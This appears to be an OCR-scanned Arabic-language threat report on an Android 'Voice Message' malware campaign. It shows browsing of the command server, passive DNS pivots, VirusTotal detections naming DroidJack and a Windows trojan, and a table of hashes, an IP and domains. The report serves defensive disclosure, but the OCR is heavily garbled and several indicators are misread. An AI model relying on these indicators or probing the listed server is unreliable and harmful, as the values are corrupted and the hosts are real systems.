The owner of winmeif.myq-see.com has configured their website
improperly. To protect your information from being stolen, Firefox has not
connected to this website.

Learn more.

winmeif.myg-see.com:1234 uses an invalid security certificate

The certificate is not trusted because it is self-signed
The certificate is only valid for assylias

SSUER

Error code: SEC_ERROR_UNKNOWN_

Add Exception..

Al oS il (S (e a53 25 U8 & e gl LI () oS 8 ey, 1335 2016

root@Cyberkov: ~/voicemessage/sinkhole — Konsole [— IO <]
File Edit View Bookmarks Settings Help

.:!.:'«"I'w;‘ h1'1‘!..'| (2

2
https://www.fidelissecurity.com/sites/default/files/FTA 1019 Ratcheting Down on JSocket A PC and Android Thre
at_FINAL.pdf
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Ll e de gana 48) ya g daylia
S ub B O G sl Aadail Caagiud AN Guadl) el gy (g 5 A sane el Caald "Ll o lie" de sene O 50w
Jan Aglie Y S g 5 Jaxind Wy s aSaill 5 5alaH 58 pe 8 s gitall 2Ll (ge el (S A e by (il

r hl
root@ext-Kov: ~

Bida QlA}XM&JASJb)}AJ Lﬁ'ﬂ\} VzS;.\S\}E.JL\AS\ )S‘)A‘; php|nfophp (';.ull_lk_ﬂlA caay Ll O "\:L.}..}X &._UGS‘—" @}m Cuald La:l\
.Windows 7 Professional Service Pack 1 atai (e (axy aSaill 5 33080 S e o) Led sl de ganall geal ys il 5ol 02 lan

vienu | | |5 phpinfo() x

C = | @ 4120811046 @ - @O0 ¢

PHP Version 5.6.18 Php

System . Windows NT ADMIN 6.1 build 7601 (Windows 7 Professional Edition Service Pack 1) i586 |

Build Date Feb 3 2016 17:13:02

Compiler MSVC11 (Visual C++ 2012)

Architecture %86

Configure Command cscript /nologo configure.js "-—-enable-snapshot-build" "—disable-isapi” "--enable-debug-pack” "--without-mssqgl” "--

without-pdo-mssgl™ "--without-pi3web” "--with-pdo-oci=c:\php-sdk\oracle\x86linstantclient_12 1\sdk shared" "--with-
oci8-12c=c:\php-sdkloracle\x86\instantclient_12_1\sdk shared” "—enable-object-out-dir=../obj" "--enable-com-
dotnet=shared" "--with-mcrypt=static™ "--without-analyzer" "--with-pgo"

Server API Apache 2.0 Handler
Virtual Directory Support enabled

Configuration File (php.ini) Path C\Windows

Loaded Configuration File C\AppSenAphpS\php.ini
Scan this dir for additional .ini files (none)
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¥ Menu | | B phpinfo() x

€« c

@  41.20811046/php o - @30

SESSI0N.CO0KIE_nupomy i i
session.cookie_lifetime 0 0
session.cookie_path ! !
session.cookie_secure Off Off
session.entropy_file
session.entropy_length 0 0
session.gc_divisor 1000 1000
session.gc_maxlifetime 1440 1440
session.gc_probability 1 1
session.hash_bits_per_character 5 5
session.hash_function 0 0
session.name PHPSESSID PHPSESSID
session.referer_check
session.save_handler — files files .
session.save_path Ci/Usersfadmin/AppDatall ocalTemp Ci/Usersfadmin/AppDatall ocalTemp
session.serialize_handler php php
session.upload_progress.cleanup On On

ion.upload_prog bled On On
session.upload_progress.ireq 1% 1%

ADMIN 52 »Sail) g 32080 S ja (& addiiall 5 gaaaSl) o)
phpinfo() - Mozilla Firefox [— O -]
y phpinfo() * | *
winmeif.myg-see.com/phpini B & © e lBY | C Search w B 4+ A B o By EH- =

[ Most Visited v JllOffensive Security S\ Kali Linux "\ Kali Docs "\, Kali Tools W Aircrack-ng

Environment

Variable

ALLUSERSPROFILE

C:\ProgramData

APPDATA

C:\Windows\system32\config\systemprofile\AppData\Roaming

CommenPregramFiles

C:\Program Files (x86)\Common Files

CommonProgramFiles(x86)

C:\Program Files (x86)\Commeon Files

CommenProgramWe6432 C:\Program Files\Commen Files

COMPUTERNAME ADMIN

ComSpec C:\Windows\system32\cmd.exe

FP_NO_HOST_CHECK NO

LOCALAPPDATA C:\Windows\system32\config\systemprofile\AppData\Local

NUMEER_OF_PROCESSORS 4

os Windows_NT

Path C:\ProgramData\Oracle\|ava\javapath;C:\PROGRAM FILES\DELL\DW WLAN CARD;C:\Windows
\SYSTEM32;C:\Windows:C:\Windows\SYSTEM32\WBEM; C:\Windows\SYSTEM32
\WINDOWSPOWERSHELL\W1.0\;C:\PROGRAM FILES (X86MSKYPE\PHONE);

PATHEXT .COM;.EXE;.BAT;.CMD;.VB5;.VBE;.]5;.)SE;.W5F; \W5H;.M5C

PROCESS0R_ARCHITECTURE x86

PROCESSOR_ARCHITEW6432 AMD&4

PROCESSOR_IDENTIFIER

Intel64 Family 6 Model 37 Stepping 5, Genuinelntel

PROCESS0R_LEVEL 6
PROCESS0R_REVISION 2505
ProgramData C:\ProgramData

ProgramFiles

C:\Program Files (x86)

ProgramFiles(x86)

C:\Program Files (x86)

ProgramWeé432 C:\Program Files
PSModulePath C:\Windows\system32\WindowsPowerShell\wl.0\Modules
PUBLIC C:\Users\Public

SystemDrive

(=

I — -

ADMIN | v

Highlight All

Match Case 8 of 11 matches

Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com




/ phpinfo()

winmeif.myq-see.com/phpinf

x|

phpinfo() - Mozilla Firefox

Saill 5 saladll S pal JRNAl) [P ol sie 5 Skype gebin paiiudy Dell t)suﬂ(g}:g‘J)ujmsjﬁiw"gg i lie" de gana
.192.168.1.16

g ) C Search w a8 ¥ A B o B~

[ Most Visited v [l Offensive Security e Kali Linux “ Kali Docs " Kali Tools Wy Aircrack-ng

Apache Environment

Variable

Value

HTTP_HOST

winmeif. myqg-see.com

HTTP_USER_AGENT

Mozilla/5.0 (X11; Linux x86_64; n:45.0) Gecko/20100101 Firefox/45.0

HTTP_ACCEPT

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

HTTP_ACCEPT_LANGUAGE

en-US,en;q=0.5

HTTP_ACCEPT ENCODING gzip, deflate

HTTP_COOKIE _ga=GA1.2.1819131665.1470568742

HTTP_CONNECTION keep-alive

PATH C:\ProgramData\Oracle)] ava\iavapatk&C:\PRDGRAM FILES\DELL\DW WLAN CARD]C:\Windows
\SYSTEM32;C:\Windows;C:\Windows\SYSTEM32\WBEM; C:\Windows\SYSTEM32
\WlNDDWSPDWERSHELL\Vl.ommmm

SystemRoot C:\Windows

COMSPEC C:\Windows\system32\cmd.exe

PATHEXT .COM;.EXE;.BAT;.CMD;.VB5:.VBE:.|5:.)SE;.W5F;.W5H;.M5C

WINDIR C\Windows

SERVER_SIGNATURE

SERVER_SOFTWARE

Apache/2.4.18 (Win32) OpenS5L/1.0.2e PHP/5.6.18

SERVER_NAME

winmeif. myqg-see.com

SERVER_ADDR 192.168.1.16
SERVER_PORT 80
REMOTE_ADDR 31.203.118.54
DOCUMENT _ROOT C:/AppServiwww
REQUEST_SCHEME http
CONTEXT_PREFIX

CONTEXT_DOCUMENT_ROOT C:/AppServ/www

SERVER_ADMIN

admin@example.com

SCRIPT_FILENAME

C:/AppServiwww/phpinfo.php

REMOTE_PORT 36760

GATEWAY _INTERFACE CGI/1.1

SERVER_PROTOCOL HTTP/1.1

REQUEST METHOD GET v

W

o Aualal) L) ae) 58 518Y PhpMyAdmin < Se e oSaill 5 3308 S e o sing
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phpMyAdmin - Mozilla Firefox

x\-l-
B8 U 3 a4 @ o B

C Search

| #4 phpMyAdmin
| winmeif.myq-see.com/phpmyadmin, | | (Sl e

[& Most Visited v JllOffensive Security S Kali Linux & Kali Docs " Kali Tools Wy Aircrack-ng

php
Welcome to phpMyAdmin

Language

English :J

Log in &
Username:
|fDDf, n |
Password:
[ @]
Go

skl T 5 a5 o~ lailly QIS5 A A0 glaall (805 5 g0l 3yl ol Y1 alasiinly bl ae) 8 e J sl A glaey (o oS b cdld

x +
E

Mk phpMyAdmin
winmeif. myg-see.com phpMyAdmin

e
c

php
Welcome to phpMyAdmin

(b #1045 - Access denied for user root'@'localhost’ (using
password: YES)

Language
English v
Login @
Username:
root =2
Password:
Go
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2 jall CalaginY Ao ganall Lgeadind Sl g pld g el e alSl) 235 PassiveTotal el Jis Threat Intelligence Platforms
luad 3l e

(A 138 523 ey )5 (e Ly 8 i Bis) 2015-09-09 (2 (3 Y] Clilee iy "l o jlie” de sena of A dday 2 (30 iy
Ll HSall s 5 aladiuly de geaal) Caald Al o3a SN

=S
@ PassiveTotal | Infrastru %

< | ¢ wy vetotal.org PassiveTotal | Infrastructure Results for 41.208.110.46 8 Kk ) @ Hg ﬂ] m L
41.208.110.46 Request Support
ATTRIBUTES Heatmap  WHOIS  Hashes €
First Seen 2015-09-09 E " A M "

14:44:25 e ar pr ay Jun Ju

: ANNE [2

Last Seen 2016-08-12

22:04:25 [y v -

Resolutions 15 T h..-h
w

Network 41.208.64.018 ..--.
T OEOE

AS 21003 (GPTC-AS)

Country LY
: BEBR
Ever true m

Compromised?

Dynamic/Registered Dynamic Registered First Seen First & Last of Month

Sinkhole true . ... .

Classify @ malicious
suspicious Select a date or dates (shift-click) on the Heatmap to filter results. L
non-malicious
unknown Resolve First Last Source Tags

lgdlaal e A g IV cilangd) () "Ll (o Jlie" de gana Lilanind il Ui sland AaiE 255 ) Jsaall b

Hostname First Seen Last Seen

Samsung.ddns.me 26-04-2016 12-08-2016
Wininit.myqg-see.com 24-05-2016 12-08-2016
Winmeif.myqg-see.com 07-08-2016 12-08-2016
Collge.myqg-see.com 09-09-2015 12-08-2016
Sara2011.no-ip.biz 08-10-2015 08-10-2015
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:(sara2011.no-ip.biz

root@Cyberkov: ~/voicemessage — Konsole e ® O
File Edit View Bookmarks Settings Help

Voice Hassege.apk

bin : java bin : java voicemessage : bash sinkhole : bash sf_shared : bash

Glaad) Jans mal ) s3a "Ll 0 Jlie" de ganas Adadi jo 5 A1 pund el lia Of il PassiveTotal daaia alaaiuly Load
{(MD5 & 55 (30 o8 5) Al (CLilel)) duci )

e 1738ecf69b8303934bb10170bcef8926
e 93ebc337c5fe4794d33df155986a284d

41.208.110.46

Heatmap WHOIS Hashes 9

First Seen 2015-09-09

14:44:25

Source Sample

Last Seen 2016-08-12 B X ;

22-04.25 Emerging Threats (Proofpoint)
T e 15 Emerging Threats (Proofpoint)
Network 41208.64.0/18 Emerging Threats (Proofpoint)
AS 21003 (GPTC-AS)
Country LY

LElo allas, i 53 5 "Voice Massege.apk” os s il oa (Ul dudd ) Gy J 5l diludl 5 ) suall 8
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Ll o

Hlie 48l

423 a5 Benghazi.exe ol desy (5 0l 8 (1738ecf69b8303934bb10170bcef8926) 4l (Lilell) dxad Jll daall)
i dandll o dnd ) 215 %37.5 488 G (f i Lae 56 daal (0 ddlas zali 33 21 U8 (ge o 538 s nlall 138 i VirusTotal

A

SHA256:
File name:

Detection ratio:

total

Analysis date: | 2016-04-23 200:33:29 UTC ( 3 months, 3 weeks ago )

= Analysis

Antivirus
ALYac
Ad-Aware
Arcabit

Avast

Baidu
BitDefender
Cyren
ESET-NOD32

Emsisoft

@, File detail

22 Relationships

@ Additional information

Result
Gen:Variant.Jaik.11048
Gen:Variant.Jaik. 11048
Trojan.Jalk.D2B28

Win32:Malware-gen

Win32.Trojan.WisdomEyes. 151026.9950.9999

Gen:Variant.Jaik. 11048

W32/VB.NN.gen!Eldorado

a variant of Win32/Injector. CWTY

Gen:Variant.Jaik.11048 (B)

® Comments

.2016-04-23

9dBeSced4ci543babd 1edcBalcaael 409076a26ee74ch 10 148did3ce87d7787

=1

@0 @0

) Votes £ Behavioural information

Update
20160423
20160423
20160423
20160423
20160422
20160423
20160423
20160423

20160423

A3 aladinly 2016-04-12 gl 4lse a5 2y s il il 8 Gud s Windows 4edail Calagiuly a iy g i) 138 o Jas

= Analysis

@ File detail

2 Relationships

# FileVersioninfo properties

Product
©Original name
Internal name
File version

Descriplion

Pennell0
Clevemes.exe
Clevernes
1.00

Phrenics0

= PE header basic information

Target machine

@ Additional information

Intel 386 or later processors and compatible processors

Compilation timestamp

2016-04-15 15:12:20

Entry Point 0x0000120C

Number of sections 3

ik PE sections

Name Virtual address Virtual size
text 4096 139468
.data 147456 4624

IS1IG 165648 2320

# PE imports

Raw size Entropy
143360 7.55
4096 0.00
4096 1.96

Tel: +965 22445500 | Fax: +1 (888) 4333113 | Emai

® Comments o

.Visual Basic

) Votes [ Behavioural information

MD5

d2640b97c9dddcabio49b0e57TaTidad
620f0b67a91f7f74151bc5be745b7110
560732c75TacdciGaaddiitedebaddae




50 dakal Cargisy Droidlack § 55 (e o5 2525 (93ebc337¢5fe4794d33df155986a284d ) 4l 4 ) davad) Ll
Lean

-

S total

SHA256: 4e656834a93ce9c3di40fedadeelefccec728e7eady7de2526b216b8fd2 1cbfé

File name: VPMN.apk

Detection ratio: | 22/ 56

Analysis date: | 2016-04-24 21:32:40 UTC ( 3 months, 2 weeks ago ) |

3 Analysis File detail

Antivirus

AVG

Ad-Aware
AhnLab-V3
Allbaba

Arcabit

Avast

Avira (no cloud)
BitDefender
CAT-QuickHeal

Cyren

@ Additional information # Comments o ) Votes

Result

Android/Deng.TIN

Android. Trojan.AndroRAT.E
Android-Trojan/Sandrorat. 128f8
A.W.Rog.EvilCert. A24

Android. Trojan.AndroRAT.E

Android:DroidJack-A [Trj]

AMNDROID/Spy.Kasandra.E.Gen
Android. Trojan.AndroRAT.E
Android.Sandr.A

AndroidOS/Sandr.A.gen!Eldorado

®
o
&)

Update

20160424
20160424
20160424
20160424
20160424
20160424
20160424
20160424
20160423

20160424

£ 55 e "l e Ao pane daddiid (g3 U (gl ) W XS5 Services 15 Activities ) slend o JaaSl L

- Activities

net.droidjack.server.MainActivity
net.droidjack.server.CamSnapDJ
net.droidjack.server.\VideoCapDJ
net.droidjack.server.CamSnapDJ

net.droidjack.server.\VideoCapDJ

i= Services

net.droidjack.server.Controller
net.droidjack.server.GPSLocation
net.droidjack.server. Toaster
net.droidjack.server.Controller
net.droidjack.server.GPSLocation

net.droidjack.server. Toaster

Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com

.DroidJack




vee B _pAla 48N

Slo sl g Lo Ja A8y 5l laaly o sy "Ll lie” de sana dajlian 4iaY) UaaY) dilay Gaiiall <85S il (3 o s
Lo e gaaall Ll Caaas 4

Ll e (e 9,00 8 6] dlaal dula) a5
53 AV B RY T Guneatl e Sl s ks Alead A0 a1 sl Y gLk GosS ubes B8 puaals

2,0y @ jleal el Cuaadll @
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ool e ilaal lia (40 ALK 4933 Zemana Mobile AntiVirus 3 ball zal ) 4a8lSa zali y aladin) o
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Type Indicator

Sha256 9d8e5ccd4cf543b4b4ledcbalcaael409076a26ee74c61c148dffd3ce87d7787
Sha256 4e656834a93ce9c3df40fe9a3eelefcccc728e7ea997dc2526b216b8fd21chfe
Sha256 €66d795d0c832ad16381d433a13a2ch57ab097d90e9¢c73a1178a95132b1c0f70
Md5 1738ecf69b8303934bb10170bcef8926

Md5 93ebc337c5fe4794d33df155986a284d

Md5 1c8alaa75d514d9b1c7118458e0b8al4s

Shal 41096b7f808a91ee773bbba304ea2cd0fad2519d

Shal 46d832a9cld6c34edffee361aca3de65db1b7932

Shal 2e2d1315c47db73ba8fach99240ca6c085a9achc

Filename Voice Massege.apk

Filename Benghazi.exe

Filename VPN.apk

IP 41.208.110.46

Domain winmeif.myg-see.com

Domain Wininit.myqg-see.com

Domain Samsung.ddns.me

Domain Collge.myqg-see.com

Domain Sara2011.no-ip.biz
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https://secure.avangate.com/order/product.php?PRODS=4560357&QTY=1&AFFILIATE=82519
https://secure.avangate.com/order/product.php?PRODS=4560357&QTY=1&AFFILIATE=82519
https://secure.avangate.com/order/product.php?PRODS=4560357&QTY=1&AFFILIATE=82519
https://play.google.com/store/apps/details?id=com.zemana.msecurity&hl=en
https://play.google.com/store/apps/details?id=com.zemana.msecurity&hl=en
https://play.google.com/store/apps/details?id=com.zemana.msecurity&hl=en
https://blog.cyberkov.com/2361.html
https://blog.cyberkov.com/2361.html

